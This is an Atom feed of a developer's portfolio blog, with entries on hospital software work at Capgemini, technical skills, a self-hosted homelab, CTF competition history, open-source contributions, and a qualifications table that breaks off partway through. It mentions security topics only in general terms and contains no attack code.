<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet href="pretty-atom-feed.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  
  <title>Blog Title</title>
  <subtitle>This is a longer description about your blog.</subtitle>
  <link href="https://example.com/feed/feed.xml" rel="self" />
  <link href="https://example.com/" />
  <updated>2026-04-20T00:00:00Z</updated>
  <id>https://example.com/</id>
  <author>
    <name>Your Name</name>
  </author>
  <entry>
    <title>My Work at Capgemini</title>
    <link href="https://example.com/blog/mywork/" />
    <updated>2026-04-20T00:00:00Z</updated>
    <id>https://example.com/blog/mywork/</id>
    <content type="html">&lt;p&gt;In my current role, I work extensively with a legacy Java codebase that powers key internal applications, alongside newer Angular frontends. This involves maintaining and improving a complex legacy backend while enhancing security and user experience through modern Angular interfaces.&lt;/p&gt;
&lt;p&gt;Day-to-day, I handle bug or security fixes, incremental refactoring, and new feature development. On the frontend, I contribute to Angular apps like &lt;a href=&quot;https://www.fagperson.regionshospitalet-horsens.dk/presse/nyheder/nyhedsarkiv-2024/nyt-ko--og-kaldesystem/&quot;&gt;Kaldetavle and Ankomstander&lt;/a&gt;, other internal products used daily by hospital staff, as well as &lt;a href=&quot;https://www.sundhed.rm.dk/praktisk-information/mine-aftaler/&quot;&gt;MineAftaler&lt;/a&gt; - a publicly available hybrid web/native app built with Ionic Capacitor.&lt;/p&gt;
&lt;p&gt;I’m part of a small agile scrum team (3–7 developers plus a tester), working iteratively from planning to production, in collaboration with solution architects &amp;amp; domain experts. I also spend significant time triaging bugs—reproducing issues from sometimes vague user-reports, providing temporary workarounds, and delivering fixes based on severity and timelines.&lt;/p&gt;
&lt;p&gt;Alongside development, I’ve gained experience with DevOps workflows, including virtualisation, CI/CD pipelines, legacy jBoss and modern Kubernetes deployments, both on-prem and in the cloud. Capgemini has also enabled me to attend a course that cemented my foundational understanding of application security (&lt;a href=&quot;https://www.eccouncil.org/train-certify/certified-ethical-hacker-ceh/&quot;&gt;CEH&lt;/a&gt;), as well as earning my OCP Java 11 certification, strengthening my Java expertise and enterprise development skills.&lt;/p&gt;
&lt;p&gt;This role has offered a balanced mix of legacy maintenance, frontend innovation, application security and DevOps exposure—all within a collaborative, agile environment.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Skills</title>
    <link href="https://example.com/blog/skills/" />
    <updated>2026-04-19T00:00:00Z</updated>
    <id>https://example.com/blog/skills/</id>
    <content type="html">&lt;h1 id=&quot;technical-skills&quot;&gt;💻 Technical Skills&lt;/h1&gt;
&lt;h2 id=&quot;programming-languages&quot;&gt;🧑‍💻 Programming Languages&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Java&lt;/strong&gt; (Oracle Certified: SE 11 Developer)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TypeScript / JavaScript&lt;/strong&gt; (Angular)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;C, C++, Embedded C, C#&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SQL / MySQL / OracleSQL&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HTML / SCSS / PHP&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;frameworks-and-tools&quot;&gt;🧰 Frameworks &amp;amp; Tools&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Angular, Ionic&lt;/strong&gt; (Cordova / Capacitor)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unity3D&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Git&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;devops-and-infrastructure&quot;&gt;☁️ DevOps &amp;amp; Infrastructure&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Ansible&lt;/strong&gt; (“Dive Into Ansible” – 2024)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Docker / Kubernetes&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Proxmox VE, VMware vSphere&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;NixOS&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Linux &amp;amp; Windows environments&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;databases&quot;&gt;🗃️ Databases&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SQL, MySQL, MariaDB, OracleSQL&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h1 id=&quot;development-practices&quot;&gt;⚙️ Development Practices&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Agile&lt;/strong&gt; Development &amp;amp; Scrum&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Software Design &amp;amp; Architecture&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Full Software Development Lifecycle&lt;/strong&gt; (SDLC)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h1 id=&quot;other-technical-skills&quot;&gt;🧠 Other Technical Skills&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Digital Electronics &amp;amp; Logic&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Microcontroller Programming&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data Analysis&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Applied Mathematics&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h1 id=&quot;soft-skills-and-competencies&quot;&gt;🗣 Soft Skills &amp;amp; Competencies&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Project Management &amp;amp; Strategic Planning&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Strong Presentation &amp;amp; Report Writing Skills&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Fluent in &lt;strong&gt;English&lt;/strong&gt; and &lt;strong&gt;Danish&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Team Leadership &amp;amp; Collaboration&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Customer-Facing Communication&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Self-Learning &amp;amp; Time Management&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h1 id=&quot;professional-experience&quot;&gt;🏢 Professional Experience&lt;/h1&gt;
&lt;h2 id=&quot;capgemini-lead-application-and-devops-consultant&quot;&gt;Capgemini – Lead Application &amp;amp; DevOps Consultant&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Duration&lt;/strong&gt;: 2019 - present (7 years, at time of writing)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Core Technologies&lt;/strong&gt;: Angular, Java, Ansible, DevOps&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;freelance-web-development&quot;&gt;Freelance Web Development&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Duration&lt;/strong&gt;: 6 months&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Custom web projects using modern front-end stacks&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h1 id=&quot;certifications&quot;&gt;🎓 Certifications&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Oracle Certified Professional: Java SE 11 Developer (Mar 2021)&lt;/li&gt;
&lt;li&gt;Certified Ethical Hacker Course (2022)&lt;/li&gt;
&lt;li&gt;Ansible DevOps Training (Jul 2024)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h1 id=&quot;skill-proficiency-over-time&quot;&gt;Skill Proficiency over Time:&lt;/h1&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Skill / Proficiency&lt;/th&gt;
&lt;th&gt;2009&lt;/th&gt;
&lt;th&gt;2011&lt;/th&gt;
&lt;th&gt;2013&lt;/th&gt;
&lt;th&gt;2015&lt;/th&gt;
&lt;th&gt;2017&lt;/th&gt;
&lt;th&gt;2019&lt;/th&gt;
&lt;th&gt;2021&lt;/th&gt;
&lt;th&gt;2023&lt;/th&gt;
&lt;th&gt;2025&lt;/th&gt;
&lt;th&gt;2026&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Mathematics&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Game Development&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Application Development&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Web Development&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Game Modding&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Embedded Programming&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Linux&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Version Control&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Application Security&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Computer Graphics and Computer Vision&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Danish&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DevOps&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
</content>
  </entry>
  <entry>
    <title>Self-hosting, including this website</title>
    <link href="https://example.com/blog/selfhost/" />
    <updated>2026-04-18T00:00:00Z</updated>
    <id>https://example.com/blog/selfhost/</id>
    <content type="html">&lt;p&gt;This website is built using a combination of &lt;strong&gt;Eleventy&lt;/strong&gt;, custom &lt;strong&gt;HTML&lt;/strong&gt;, &lt;strong&gt;CSS&lt;/strong&gt;, and &lt;strong&gt;JavaScript&lt;/strong&gt;, and is version-controlled with &lt;strong&gt;Git&lt;/strong&gt;. It&#39;s hosted on an &lt;strong&gt;Oracle Cloud&lt;/strong&gt; Free Tier AMD compute instance, giving me full control over deployment and performance without incurring extra costs.&lt;/p&gt;
&lt;p&gt;Beyond this site, I maintain a broader self-hosted ecosystem using a mix of &lt;strong&gt;on-premise&lt;/strong&gt; hardware (homelab) and &lt;strong&gt;cloud&lt;/strong&gt; infrastructure. My setup leverages modern infrastructure tools including:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Proxmox&lt;/strong&gt; for virtualization&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;NixOS&lt;/strong&gt; for declarative system configuration&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ansible&lt;/strong&gt; for automation&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Docker&lt;/strong&gt; and &lt;strong&gt;Kubernetes&lt;/strong&gt; for container orchestration&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ZFS&lt;/strong&gt; for reliable storage management&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id=&quot;hosted-services&quot;&gt;Hosted Services&lt;/h1&gt;
&lt;p&gt;I self-host a wide range of applications to support media, productivity, development, and system management:&lt;/p&gt;
&lt;h2 id=&quot;media&quot;&gt;📺 Media&lt;/h2&gt;
&lt;p&gt;Jellyfin, Audiobookshelf, Photoprism, Immich&lt;/p&gt;
&lt;h2 id=&quot;productivity&quot;&gt;🗂️ Productivity&lt;/h2&gt;
&lt;p&gt;Nextcloud, Mealie, Planka, It-tools&lt;/p&gt;
&lt;h2 id=&quot;network-utilities&quot;&gt;🌐 Network Utilities&lt;/h2&gt;
&lt;p&gt;Pi-hole, Cloudflared, Tailscale, Nginx, Caddy&lt;/p&gt;
&lt;h2 id=&quot;monitoring-and-management&quot;&gt;📊 Monitoring &amp;amp; Management&lt;/h2&gt;
&lt;p&gt;Beszel, Uptime Kuma, Scrutiny, Speedtest Tracker, LibreSpeed, ChangeDetection.io, Dockpeek&lt;/p&gt;
&lt;h2 id=&quot;development&quot;&gt;🧑‍💻 Development&lt;/h2&gt;
&lt;p&gt;Gitea, Diun, Webhook, Atvloadly&lt;/p&gt;
&lt;h2 id=&quot;miscellaneous&quot;&gt;🧩 Miscellaneous&lt;/h2&gt;
&lt;p&gt;Home Assistant, Kasm, Homer, Ntfy, Ownfoil, SearXNG, Kiwix, and various custom web tools&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Self-hosting gives me full control, privacy, and the opportunity to experiment with real-world deployment and infrastructure challenges—skills that directly translate to software engineering, DevOps, and system administration work.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>CTF Competitions (Cyber Security)</title>
    <link href="https://example.com/blog/ctf/" />
    <updated>2026-04-17T00:00:00Z</updated>
    <id>https://example.com/blog/ctf/</id>
    <content type="html">&lt;p&gt;Jeopardy-style Capture The Flag (CTF) competitions are cybersecurity challenges where participants solve a series of tasks across categories like reverse engineering, web exploitation, cryptography, forensics, and binary exploitation. Each challenge rewards points based on difficulty, and participants aim to score as high as possible within a limited time.&lt;/p&gt;
&lt;p&gt;Beyond the competition itself, CTFs are excellent environments for hands-on learning. They help build and reinforce a wide range of practical skills relevant to modern software development, infrastructure, and security:&lt;/p&gt;
&lt;h1 id=&quot;key-skills-developed&quot;&gt;Key Skills Developed&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Secure Coding &amp;amp; Debugging&lt;/strong&gt;: Understanding how code is broken helps developers write safer, more resilient applications.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Scripting &amp;amp; Automation&lt;/strong&gt;: Many challenges require quick custom tooling using Python, Bash, or other scripting languages.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reverse Engineering&lt;/strong&gt;: Dissecting binaries or obfuscated logic improves problem-solving and familiarity with low-level systems.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Web Security Knowledge&lt;/strong&gt;: Challenges often mimic real-world vulnerabilities like SQL injection, XSS, CSRF, and IDOR, helping participants recognize and defend against them.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;System &amp;amp; Network Forensics&lt;/strong&gt;: Analyzing logs, memory dumps, or packet captures builds familiarity with incident investigation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Linux &amp;amp; Command Line Proficiency&lt;/strong&gt;: Most CTFs demand deep interaction with Unix-based systems and tools like gdb, strace, nmap, and tcpdump.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Container &amp;amp; Cloud Environments&lt;/strong&gt;: Increasingly, CTFs include cloud-based or Dockerized challenges, improving cloud security awareness and DevOps readiness.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Critical Thinking Under Pressure&lt;/strong&gt;: Time-constrained problem solving boosts your ability to think creatively and prioritize efficiently.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These competitions have been instrumental in sharpening my technical foundation and pushing me to explore areas beyond my daily work. Each CTF is a fast-paced, focused opportunity to build practical, cross-disciplinary skills that translate directly to real-world software and security challenges.&lt;/p&gt;
&lt;p&gt;My &lt;a href=&quot;https://ctftime.org/user/52764&quot;&gt;CTFTime Profile&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;My CTF history:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;KalmarCTF 2026 - 339 Points.&lt;/li&gt;
&lt;li&gt;KalmarCTF 2025 - 209 Points.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://example.com/blog/writeups/kalmarctf/2024/web/filestore/&quot;&gt;KalmarCTF 2024&lt;/a&gt; - 200 Points.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cs.au.dk/news-events/news/show-news/artikel/capture-the-flag-event-1&quot;&gt;Aarhus CTF 2019&lt;/a&gt; - 3106 Points (87th Percentile).&lt;/li&gt;
&lt;li&gt;OpenToAll University (Practice CTF Challenges) 2019 - 1076 Points (87th Percentile).&lt;/li&gt;
&lt;li&gt;Mitre (STEM) CTF 2019 - 450 Points (80th Percentile).&lt;/li&gt;
&lt;li&gt;FireShell CTF 2019 - 360 Points (80th Percentile).&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  <entry>
    <title>Open-Source Contributions</title>
    <link href="https://example.com/blog/opensource/" />
    <updated>2026-04-16T00:00:00Z</updated>
    <id>https://example.com/blog/opensource/</id>
    <content type="html">&lt;p&gt;As part of my ongoing interest in open-source development, I&#39;ve contributed to a number of projects, focusing on usability improvements and practical feature additions. Below are a few highlights from my work on RuneLite, a popular client for Old School RuneScape, and Scrutiny, a web-based S.M.A.R.T monitoring tool.&lt;/p&gt;
&lt;h1 id=&quot;runelite-old-school-runescape-client&quot;&gt;RuneLite – Old School RuneScape Client&lt;/h1&gt;
&lt;div style=&quot;display:flex;gap:3%;&quot;&gt;
&lt;picture&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;https://example.com/blog/opensource/dXSej92LO9-800.webp 800w&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; src=&quot;https://example.com/blog/opensource/dXSej92LO9-800.gif&quot; width=&quot;800&quot; height=&quot;432&quot; alt=&quot;slayer monster weakness&quot;&gt;&lt;/picture&gt;
&lt;picture&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;https://example.com/blog/opensource/n2TAWBzLso-374.webp 374w&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; src=&quot;https://example.com/blog/opensource/n2TAWBzLso-374.gif&quot; width=&quot;374&quot; height=&quot;144&quot; alt=&quot;ground items&quot;&gt;&lt;/picture&gt;
&lt;/div&gt;
&lt;p&gt;I contributed &lt;a href=&quot;https://github.com/runelite/runelite/pulls?q=is%3Apr+author%3ABerry-95+is%3Amerged+&quot;&gt;link&lt;/a&gt; several quality-of-life improvements and UI enhancements to RuneLite, aimed at improving player experience without altering the core gameplay:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Sidebar Enhancements&lt;/strong&gt;: Improved the interface by making the sidebar close button auto-hide when not hovered, creating a cleaner look.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Skill Progress Bar&lt;/strong&gt;: Added a visual progress bar to the hi-score panel, making skill tracking more intuitive at a glance.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ground Items Visibility Toggle&lt;/strong&gt;: Implemented a double-tap ALT hotkey function to quickly hide all ground items, with a single tap to reveal them—useful for reducing visual clutter in crowded areas.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Weak Monster Item Overlay&lt;/strong&gt;: Developed an overlay that highlights monsters low enough in health to be finished with specific items like Ice coolers or Fungicide spray, helping players optimize item use and combat efficiency.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id=&quot;scrutiny-web-ui-for-s-m-a-r-t-monitoring&quot;&gt;Scrutiny – Web UI for S.M.A.R.T Monitoring&lt;/h1&gt;
&lt;div style=&quot;display:flex;gap:3%;&quot;&gt;
&lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;https://example.com/blog/opensource/opIE31yc6F-1000.avif 1000w&quot;&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;https://example.com/blog/opensource/opIE31yc6F-1000.webp 1000w&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; src=&quot;https://example.com/blog/opensource/opIE31yc6F-1000.png&quot; width=&quot;1000&quot; alt=&quot;scrutiny hide archived&quot; height=&quot;818&quot;&gt;&lt;/picture&gt;
&lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;https://example.com/blog/opensource/IWwZH6BVpi-1000.avif 1000w&quot;&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;https://example.com/blog/opensource/IWwZH6BVpi-1000.webp 1000w&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; src=&quot;https://example.com/blog/opensource/IWwZH6BVpi-1000.png&quot; width=&quot;1000&quot; alt=&quot;scrutiny show archived&quot; height=&quot;1092&quot;&gt;&lt;/picture&gt;
&lt;/div&gt;
&lt;p&gt;For Scrutiny &lt;a href=&quot;https://github.com/AnalogJ/scrutiny/pulls?q=is%3Apr+author%3ABerry-95+is%3Amerged+&quot;&gt;link&lt;/a&gt;, I focused on improving long-term usability for users managing multiple drives:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Disk Archiving Support&lt;/strong&gt;: Added the ability to hide or archive disks within the interface, including backend handlers for archiving/unarchiving and corresponding UI updates to reflect disk status clearly&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;These contributions reflect my focus on thoughtful, user-oriented design in both gaming and system tools. I enjoy working with active communities and projects that value practical, high-impact improvements.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Additional Qualifications / Courses</title>
    <link href="https://example.com/blog/qualifications/" />
    <updated>2024-07-16T00:00:00Z</updated>
    <id>https://example.com/blog/qualifications/</id>
    <content type="html">&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Grade&lt;/th&gt;
&lt;th&gt;Danish Eq.&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Oracle Certified Professional: Java SE 11 Developer&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://education.oracle.com/oracle-certified-professional-java-se-11-developer/trackp_OCPJAV11&quot;&gt;Details&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CEH – Certified Ethical Hacker Course&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.superusers.dk/certificering/ceh-ethical-hacker/&quot;&gt;Details&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Danish (Laerdansk Aarhus)&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://laerdansk.dk/kurser&quot;&gt;Details&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Free Code Camp&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.freecodecamp.org/berry-95&quot;&gt;Details&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Complete C# Unity Developer 2D - Learn to Code Making Games (Udemy)&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.udemy.com/unitycourse/&quot;&gt;Details&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Complete C# Unity Developer 3D - Learn to Code Making Games (Udemy)&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.udemy.com/unitycourse2/&quot;&gt;Details&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RPG Core Combat Creator - Unity 2017 Compatible In C# (Udemy)&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.udemy.com/unityrpg/&quot;&gt;Details&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Game Physics - Introducing Gravitation &amp;amp; Rotation in Unity (Udemy)&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.udemy.com/gamephysics/&quot;&gt;Details&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Physics (A2 - level)&lt;/td&gt;
&lt;td&gt;A (80%)&lt;/td&gt;
&lt;td&gt;Grade 12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mathematics (A2 - level)&lt;/td&gt;
&lt;td&gt;A* (90%)&lt;/td&gt;
&lt;td&gt;Grade 12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Further Mathematics (A2 - level)&lt;/td&gt;
&lt;td&gt;B (70%)&lt;/td&gt;
&lt;td&gt;Grade 10&lt;/td&gt;
